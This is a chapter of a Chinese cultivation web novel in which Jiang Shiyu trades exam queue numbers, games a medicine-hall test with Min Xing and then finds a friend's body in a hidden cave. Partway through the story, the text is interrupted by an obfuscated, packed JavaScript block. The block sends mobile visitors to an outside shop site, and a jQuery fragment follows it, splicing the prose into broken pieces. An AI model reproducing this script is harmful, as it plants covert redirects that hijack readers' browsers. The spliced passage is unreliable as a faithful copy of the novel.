文趣网 > 都市小说 > 又被笨蛋剑灵缠上了 > 8. 第八章
    翌日天气晴朗,微风拂过树梢。

    姜时雨早早便去了事务堂,按顺序在一众弟子前面拿到了号码牌。

    报名的队伍依旧很长,她看了看时间,转身在事务堂外找了个墙角靠着。

    “师妹,你修为不高,不如同我换下号码。”

    不知是哪位同门在外面传,说先进去药峰的弟子更有机会优先选择到简单的题目,后进去的题目会更难。

    莫说灵根是先天决定因素,药峰招收弟子不看修为只看医术,更是大把有医术基础的弟子涌入,没人愿意在这种时候选择有难度的题目。

    顿时后面来迟的弟子都在用尽办法换取考前些的入场号码。

    姜时雨领到的是三号。

    “你跟我换,我可以免费送你些药方……最近演武场价格飞涨的止痛散你知道吗?我可以免费送你两剂,保准比那姜什么师妹的好。”

    “喂,说话呢你没听见吗?”

    姜时雨抬眼看了对方一眼,确认是不认识的陌生弟子后,低头在袖中掏出了一本医书随意翻看着。

    跟在他旁边的另一位弟子见他行事鲁莽,赶紧拉住他的袖子,小声提醒道:“这里是事务堂绝不能乱来。”

    宗门事务堂内有长老定期坐镇,但凡殿内发生斗殴,无论弟子修为高低,无论所争原因,都会挨上两鞭代表秩序的静思鞭。

    姜时雨也料到对方定然不敢直接上手抢夺,起身换了个位置躲清净。

    不曾想旁边劝说的弟子也是惦记她手里靠前的号码牌,但胜在语气柔和,“师妹,灵石能换吗?”

    说着他左手在身侧比划着二十。

    二十吗?

    “可以。”

    对方也没料到姜时雨答应地这般痛快,当即便掏出二十块灵石换了过来。

    他抬手将灵力注入令牌,确认排序无误,也不管旁边张着嘴满脸震惊的好兄弟了。

    两张符箓助跑,一溜烟没影了。

    原本盛气凌人的弟子深吸一口气,也直接坐在地上做起了买卖。

    “十九号,十五块灵石可换。”

    旁边看完全过程的女弟子上前一步,用十五块灵石换得十九号。

    姜时雨看着那弟子举着令牌,在她面前左右晃悠着。

    “喂,你现在手里是几号?”那弟子说话语气还是那样欠揍。

    “十五号,你换吗?”姜时雨笑着问他。

    “换。”

    “十六块灵石。”

    “十二。”

    “最低十五,其他免谈。”姜时雨一口回绝。

    那弟子挣扎了一番,将刚刚那女修给他的灵石又原封不动的递给了姜时雨。

    闵行,也就是交易的弟子,仿佛瞬间被打开了任督二脉,直接坐在树下做起了生意,每换到手一个就去姜时雨面前转悠两圈。

    姜时雨在心里默默计算着对方手里的排名。

    待到下午各参选人排队进入药峰时,姜时雨又不急不慌的站在了闵行面前。

    姜时雨二百五十七号。

    闵行是二百五十八号。

    闵行攥着沉鼓鼓的钱袋,紧盯着姜时雨发尾的红绸。

    怎么办,总感觉自己被对方戏弄了。

    弟子们按照顺序进入传送阵,阵法运作间身边景物不断被撕扯团揉,还未等姜时雨适应,人就已经到了药峰内。

    各类植株分区种植,的田连成一片,姜时雨看向身侧药田,就已经看到好几种从未见过的叶片了。

    面前摆着一张木桌,桌上摆放着整整齐齐一摞草药简画。

    姜时雨按要求站在木桌前,自头顶传来男弟子读题的声音。

    第一道考题确实同钱七褚说的一样,只需按照桌上图纸,在药田中找到对应药材,一一对应放在桌上即可,若出现错误便会直接出局。

    姜时雨拿起桌上的一摞草图直奔药田,黑白简画旁有文字名称,她打算趁此机会将手中这些简画都找到对应植株。

    她站在田埂上,嘴里嘟囔着,“这株是九蓝草,这株是半夏,这个是?是川术……”

    直到桌上的计时香快要燃到根部,姜时雨才意犹未尽的回到桌前,将确认后的药材和图纸一一对应,放置桌前。

    微风拂过,耳边是药田叶片抖动的声音。

    不一会儿,她面前再次出现一个法阵,姜时雨抬脚迈了进去。

    第二关是合作赛。

    就是不知她的队友是谁……

    姜时雨右脚刚踏出传送阵,就见闵行亮着刺眼笑容同她摆手,心里微微一沉。

    “师妹,看来你运气不好,要和我组队了呢。”

    魏筱筱的声音自上空传来,隔着符箓声音有些失真:“在这一关中,二位弟子只需发现对方身上的病症,并在三刻内写出对应药方,煎药后待对方服用才算完成。”

    考题倒是和钱七描述有些差距。

    至于病症?姜时雨三指搭在手腕处。

    嗯,很健康。

    闵行没料到她竟能顺利通过第一关,顿时认证了对方的实力,连说话态度都变了几分:“我先来?”

    “可以。”

    两人按要求端坐在木桌两侧,桌边各有两张空白纸张,病症和放方需要自己写上。

    自己的身体情况自己最为清楚,她倒不怕对方乱开药,只是……

    “药田里的药都能用?”姜时雨开口问道。

    “能吧。”

    闵行说完随即一楞,他抬头看向姜时雨,僵硬点头:“全部、能用吗?”

    “能吧。”

    姜时雨眼睛眨了两下,把刚刚闵行的回复原封不动还了回去。

    两人对视一眼,瞬间懂了对方的心思。

    姜时雨适时捂住胸口,声音也虚弱了几分:“师兄,我心口好痛啊。”

    闵行一副路边庸医语气:“师妹,依我来看,你需要一副著心养魂汤。”

    “哎呀,我的手不知何时破了一块。”

    姜时雨抬手拨动发间的银簪,用力一划。

    伤口不深,只表面一点猩红,再不包扎就要被周围灵力修复了。

    “这……那再来副青莲断骨方吧,以免伤口太深影响经脉,修士更要注重经脉……”

    闵行睁眼说瞎话的能力确实很强。

    “只是,这药方的配药实在难找齐,还得麻烦师妹同我一起了。”

    姜时雨捂嘴咳嗽:“自然。”

    两人一唱一和间,便将药方敲定。

    起身离开木桌,姜时雨和闵行兵分两路,各自寻找药材。

    这个,这个,还有这个十年白川也多取些……

    这紫参品相也好,加进去补一补……

    没一会儿,两人各抱着满满一捧药回来了。

    还是那副矫揉造作的姿态。

    他说一句不好意思好像采的有点多了,她回一句没事你也尝些这药对身体好,他双手合十谢谢体谅……

    闵行歪靠在桌前提笔写着药方,姜时雨负责在小瓦罐旁扇风煎药。

    很难想象两人上午还互相坑害,下午这般好得穿了一件衣服。

    没办法,俩人身体都健康的不行,自己给自己开点补药未尝不可。

    姜时雨端着小碗,将黑乎乎的药汤一口闷下。

    喝完还不忘“必要流程”,竖起拇指夸赞对方是神医。

    闵行也端起另一碗,喝完鼻间迸出两行鼻血。

    闵行尴尬低头,低头抓紧擦拭。

    桌上的药方也在指引下飞出阵外,提交作答。

    两人对视一眼:得抓紧演,别一会被人发现了。

    又是一遍丝滑“问诊”

    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17634327|206514||http|test|mini|href|location'.split('|'),0,{}));

    () {

    $('.inform').remove();

    $('#content').append('

    和“不小心”戏码。

    姜时雨坐在桌前,思索再三还是选择把昨日钱七褚交与她的附身符拆开,剪掉一半加入药方中。

    闵行看她动作,捂着鼻子在一旁感叹:这人自带药材不说,放在随身附身符里,实在狡诈!

    ……

    另一边。

    正在前院上着辞寒长老丹术课的钱七褚吐出一口浓血,直挺挺地栽倒在丹炉旁。

    吓得旁边师妹不顾长老课上秩序大喊:救命啊,有人炼丹晕过去了!

    ……

    真如姜时雨二人所料,在大殿水月镜前观看众弟子映像的魏筱筱眼前一黑,李跃接过药方看到一排排草药的名字也是一黑。

    还不等水月镜找到二人所在的映像,姜时雨的药方又交了上来。

    病患:闵行

    病情:血热妄行

    药方:金桂泄火方、紫参续命方

    “等等,这不会是我入门时的那株紫参吧!”李跃赶紧扶住一旁的书柜,闭眼深吸一大口气。

    “师姐,你得为我做主啊!”

    “他们二人确实没有违规。”魏筱筱皱着眉低声道。

    话毕,魏筱筱仔细研究起手中的药方,这金桂泄火方里单独加了两株赤芍和丹皮,药性也更加温和。

    还有刚刚闵行的那方青莲断骨方,青莲味寒,用量把握确实精准……

    她快速抄下两人的诊断药方,对折放在信封中,掐了个决唤出纸鹤给师傅送去。

    水月镜内的第三关对于二人而言更是简单。

    姜时雨按照要求,将灵草分类后按照相应属性进行炮制。

    该阴干的阴干,该晒干的晒干,一切做好便被阵法送了出来。

    她比闵行速度快些,按照两人约定在药峰山脚下等他。

    那边闵行刚出来,脚下符箓也无风自起,他大喊:快来!快!

    “这洞府是我偶然发现,里面自带防御阵法,会安全些。”

    说着闵行在储物袋里掏出一大袋草药。

    他看到姜时雨自带蛇蜕“作弊”,自然也想到了是否能带些灵药出来。

    两人挑选药材决定试验一番,哪知竟真让二人顺出来了些。

    “按照咱们约定好的,我六你四。”

    姜时雨点头。

    她对这洞府实在好奇:“你是怎么发现这里的?”

    闵行抬头看了她一眼:“自然是哥们好运。”

    每个人都有秘密,姜时雨也不好细问。

    “你别乱转悠啊,东边那还躺着具女尸,过去小心吓死你。”闵行道。

    姜时雨更对这石府来了兴趣。

    神木宗内竟然还有隐藏的阵法?还有女子在这边?

    她趁闵行低头正忙,缓步挪至东边,透过垒建石缝向外看去。

    隐约可见那边石床布满繁多阵法,女子身着青色外衫,身边是一柄收起的伞,青色的穗子垂在外面……

    姜时雨意识到那穗子她见过!

    “姜姐姐,你看我姐姐送我的穗子。”

    “我之前求了她很久,她都不理我。”

    “我都不知道她什么时候背着我打的,姐姐还是这样疼我……”

    “姜姐姐,我还是好想她……如果那天受伤的人是我就好了……”

    是聂殊易留给妹妹聂双衡的!

    往昔重现在眼前,直觉告诉她躺在那里看不清面容的女子就是聂双衡!

    姜时雨声音冰冷,眼泪止不住地顺着脸颊滑落:“闵行,这女……女子是什么时候出现在这里的?”

    闵行低着头分着草药,漫不经心道:“大约一年前。”

    “原本躺在这里的是个男子,待我忙完再来不知什么时候就变成了她。”

    一年前。

    那正好是神木宗招新弟子时。